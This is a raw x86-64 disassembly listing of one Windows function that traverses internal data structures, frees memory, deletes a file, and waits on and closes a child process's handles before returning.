mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0x910]
mov rdx, qword [rsp + 0x918]
call fcn.00404ef9
mov rsi, qword [rsp + 0x970]
mov rdi, qword [rsp + 0x980]
add rsi, 0x10
sub rdi, 1
jb 0x40423a
mov rcx, qword [rsi - 8]
mov rdx, qword [rsi]
call fcn.00404ef9
add rsi, 0x28
jmp 0x404222
mov rax, qword [rsp + 0x978]
test rax, rax
je 0x40425b
imul r8, rax, 0x28
mov rcx, qword [rsp + 0x970]
push 8
pop rdx
call fcn.004017f3
mov rcx, qword [rsp + 0x930]
test rcx, rcx
je 0x4042b0
mov rdx, qword [rsp + 0x938]
and qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rdx
and qword [rsp + 0x148], 0
mov rax, qword [rsp + 0x940]
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rdx
push 1
pop r14
jmp 0x4042b5
xor r14d, r14d
xor eax, eax
lea rdi, [rsp + 0x128]
mov qword [rdi - 8], r14
mov qword [rdi + 0x18], r14
mov qword [rdi + 0x38], rax
push 1
pop r15
lea r13, [rsp + 0x5b0]
test rax, rax
je 0x404417
dec rax
mov qword [rsp + 0x160], rax
mov rbx, qword [rsp + 0x128]
test r14, r14
je 0x40432c
test rbx, rbx
jne 0x40432c
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x138]
mov rcx, rdi
call fcn.0040e3ec
mov qword [rsp + 0x120], 1
mov rbx, qword [rsp + 0x128]
mov r14, r15
jmp 0x404335
test r14, r14
je 0x4048ad
mov r8, qword [rsp + 0x130]
mov rsi, qword [rsp + 0x138]
movzx eax, word [rbx + 0x3d2]
cmp rsi, rax
jb 0x40437f
mov rcx, r13
mov rdx, rbx
call fcn.0040e3a6
mov rbx, qword [rsp + 0x5b0]
test rbx, rbx
je 0x4048ad
mov r8, qword [rsp + 0x5b8]
mov rsi, qword [rsp + 0x5c0]
jmp 0x404345
test r8, r8
je 0x4043a7
mov rdx, qword [rbx + rsi*8 + 0x3e0]
dec r8
mov rcx, r13
call fcn.0040e3ec
cmp qword [rsp + 0x5b0], 0
jne 0x4043c4
jmp 0x4048ad
lea rax, [rsi + 1]
mov qword [rsp + 0x5b0], rbx
and qword [rsp + 0x5b8], 0
mov qword [rsp + 0x5c0], rax
mov rax, qword [rsp + 0x5c0]
mov qword [rdi + 0x10], rax
mov rax, qword [rsp + 0x5b0]
mov qword [rdi], rax
mov rax, qword [rsp + 0x5b8]
mov qword [rdi + 8], rax
imul rax, rsi, 0x38
lea rcx, [rbx + rax]
add rcx, 0x168
call fcn.0040f613
shl rsi, 5
add rsi, rbx
mov rcx, rsi
call fcn.004130af
mov rax, qword [rsp + 0x160]
jmp 0x4042d5
test r14, r14
je 0x4044a4
mov rdx, qword [rsp + 0x128]
mov r8, qword [rsp + 0x130]
mov rax, qword [rsp + 0x138]
test rdx, rdx
je 0x404457
mov qword [rsp + 0x520], rdx
mov qword [rsp + 0x528], r8
mov qword [rsp + 0x530], rax
jmp 0x40447d
lea rsi, [rsp + 0x520]
mov rcx, rsi
mov rdx, r8
mov r8, rax
call fcn.0040e3ec
mov rdx, qword [rsi]
test rdx, rdx
je 0x4044a4
mov r8, qword [rsp + 0x528]
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
call fcn.0040e3a6
mov rdx, qword [rsp + 0x5b0]
test rdx, rdx
je 0x4044a4
mov r8, qword [rsp + 0x5b8]
jmp 0x404485
cmp byte [rsp + 0x968], 2
je 0x4044c3
mov rcx, qword [rsp + 0x950]
mov rdx, qword [rsp + 0x958]
call fcn.00404ef9
mov ecx, dword [rsp + 0x8e0]
mov rdx, qword [rsp + 0x8e8]
call fcn.004016e6
mov ecx, dword [rsp + 0x8f0]
mov rdx, qword [rsp + 0x8f8]
call fcn.004016e6
mov ecx, dword [rsp + 0x900]
mov rdx, qword [rsp + 0x908]
call fcn.004016e6
mov rax, qword [rsp + 0x988]
test rax, rax
je 0x404553
mov rdx, qword [rsp + 0x990]
and qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rdx
and qword [rsp + 0x148], 0
mov rcx, qword [rsp + 0x998]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], rdx
push 1
pop rax
jmp 0x404557
xor eax, eax
xor ecx, ecx
lea r13, [rsp + 0x128]
mov qword [r13 - 8], rax
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x38], rcx
lea r14, [rsp + 0x5b8]
xor ebx, ebx
push 1
pop r15
lea rdi, [rsp + 0x5b0]
test rcx, rcx
je 0x4046c5
dec rcx
mov qword [rsp + 0x160], rcx
test rbx, rbx
jne 0x4045c1
test rax, rax
je 0x4045c1
mov rdx, qword [rsp + 0x130]
mov r8, qword [rsp + 0x138]
mov rcx, r13
call fcn.00401740
mov rbx, qword [rsp + 0x128]
jmp 0x4045ca
test rax, rax
je 0x4048ad
mov r8, qword [rsp + 0x130]
mov r12, qword [rsp + 0x138]
mov rsi, rbx
movzx eax, word [rsi + 0x16a]
cmp r12, rax
jb 0x404617
mov rcx, rdi
mov rdx, rsi
call fcn.004016fe
mov rsi, qword [rsp + 0x5b0]
test rsi, rsi
je 0x4048ad
mov r8, qword [rsp + 0x5b8]
mov r12, qword [rsp + 0x5c0]
jmp 0x4045dd
test r8, r8
je 0x40464f
mov rdx, qword [rsi + r12*8 + 0x178]
dec r8
mov rcx, rdi
call fcn.00401740
mov rbx, qword [rsp + 0x5b0]
movdqu xmm0, xmmword [r14]
movdqa xmmword [rsp + 0x520], xmm0
test rbx, rbx
jne 0x404676
jmp 0x4048ad
lea rax, [r12 + 1]
and qword [rsp + 0x5b8], 0
mov qword [rsp + 0x5c0], rax
movdqu xmm0, xmmword [r14]
movdqa xmmword [rsp + 0x520], xmm0
mov rbx, rsi
movdqa xmm0, xmmword [rsp + 0x520]
movdqu xmmword [r13 + 8], xmm0
mov qword [rsp + 0x128], rbx
imul rax, r12, 0x18
mov r12, qword [rsi + rax + 0x60]
mov rsi, qword [rsi + rax + 0x68]
mov rcx, r12
call qword [rsi]
mov r8, qword [rsi + 8]
test r8, r8
je 0x4046b5
mov rdx, qword [rsi + 0x10]
mov rcx, r12
call fcn.004017f3
mov rcx, qword [rsp + 0x160]
mov rax, r15
jmp 0x404581
test rax, rax
je 0x404749
mov r8, qword [rsp + 0x130]
mov rax, qword [rsp + 0x138]
test rbx, rbx
je 0x4046f9
mov qword [rsp + 0x520], rbx
mov qword [rsp + 0x528], r8
mov qword [rsp + 0x530], rax
jmp 0x40471f
lea rsi, [rsp + 0x520]
mov rcx, rsi
mov rdx, r8
mov r8, rax
call fcn.00401740
mov rbx, qword [rsi]
test rbx, rbx
je 0x404749
mov r8, qword [rsp + 0x528]
lea rsi, [rsp + 0x5b0]
mov rcx, rsi
mov rdx, rbx
call fcn.004016fe
mov rbx, qword [rsp + 0x5b0]
test rbx, rbx
je 0x404749
mov r8, qword [rsp + 0x5b8]
jmp 0x404727
lea rsi, [rsp + 0x8e0]
mov rcx, rsi
mov rdx, qword [rsp + 0x70]
mov r8, qword [rsp + 0x88]
call fcn.004133e6
mov rsi, qword [rsi]
test rsi, rsi
je 0x4048c8
mov rdi, qword [rsp + 0x8e8]
mov rcx, rsi
call sub.kernel32.dll_DeleteFileW
test eax, eax
je 0x4048b8
mov rcx, rsi
mov rdx, rdi
call fcn.0040ed9a
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0xb8]
call fcn.00404ef9
cmp qword [rsp + 0x68], 0
je 0x4047bc
mov rcx, qword [rsp + 0xa8]
call sub.kernel32.dll_CloseHandle
push 0xffffffffffffffff
pop rdx
mov rdi, qword [rsp + 0x60]
mov rcx, rdi
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
mov rsi, qword [rsp + 0x90]
jne 0x4048b1
lea rdx, [rsp + 0x8e0]
and dword [rdx], 0
mov rcx, rdi
call sub.kernel32.dll_GetExitCodeProcess
test eax, eax
je 0x4048b1
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
mov rcx, qword [rsp + 0xb0]
call sub.kernel32.dll_CloseHandle
cmp qword [rsp + 0x80], 0
je 0x404824
mov rcx, qword [rsp + 0x98]
call sub.kernel32.dll_CloseHandle
cmp qword [rsp + 0x78], 0
je 0x404839
mov rcx, qword [rsp + 0xa0]
call sub.kernel32.dll_CloseHandle
mov rcx, rsi
mov rdx, qword [rsp + 0x3a0]
call fcn.00404ef9
movaps xmm6, xmmword [rbp + 0xd30]
movaps xmm7, xmmword [rbp + 0xd40]
movaps xmm8, xmmword [rbp + 0xd50]
movaps xmm9, xmmword [rbp + 0xd60]
movaps xmm10, xmmword [rbp + 0xd70]
movaps xmm11, xmmword [rbp + 0xd80]
movaps xmm12, xmmword [rbp + 0xd90]
movaps xmm13, xmmword [rbp + 0xda0]
lea rsp, [rbp + 0xdb8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
call fcn.0040ed84
mov rcx, qword [rsp + 0x68]
mov rdx, rsi
call fcn.0040ed9a
ud2
call fcn.0040ed84
jmp 0x4048ad
call fcn.0040ed84
mov rcx, rsi
mov rdx, rdi
call fcn.0040ed9a
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0xb8]
call fcn.00404ef9
jmp 0x4048ad